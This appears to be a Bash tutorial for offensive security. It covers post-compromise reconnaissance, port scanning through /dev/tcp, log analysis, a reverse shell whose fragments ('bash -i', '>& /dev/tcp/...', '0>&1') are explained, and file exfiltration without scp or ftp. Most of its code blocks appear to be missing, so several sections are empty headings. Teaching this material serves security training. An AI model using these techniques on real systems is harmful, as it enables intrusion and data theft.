If you can't script, you are a "Script Kiddie". Dependency on GUI tools makes you slow. When you land a shell on a minimal Linux server, `git` might not be installed. `python` might strictly be v2. But Bash is always there.
The Philosophy of Pipes
Linux tools do one thing well. We chain them with `|`.
grep (Filter) -> awk (Extract) -> sort (Order) -> uniq (Deduplicate)
1. Reconnaissance Loops
Don't ping manually. Use a `for` loop.
2. Port Scanning without Nmap
You land on a server. You are not root. `nmap` is not installed. How do you scan the internal network?
Bash's `/dev/tcp` file descriptor.
This works because Bash treats `/dev/tcp/HOST/PORT` as a socket. If the connection succeeds, the port is open.
3. Log Analysis (AWK & SED)
You just downloaded a 5GB Apache log. You need to find the top 10 IP addresses.
SED (Stream Editor): Quick find/replace directly in the stream.
4. The Reverse Shell
The most important line of Bash you will ever learn.
Explanation:
bash -i: Interactive mode.
>& /dev/tcp/...: Redirect STDOUT (Output) to the socket.
0>&1: Redirect STDIN (Input) from the socket.
Result: The attacker sends commands into the socket; Bash runs them; output goes back to the socket.
5. Data Exfiltration
How to steal a file without `scp` or `ftp`?
5.1. Base64 via Clipboard
5.2. Whois (Weird Trick)
If outbound port 43 (Whois) is allowed through the firewall: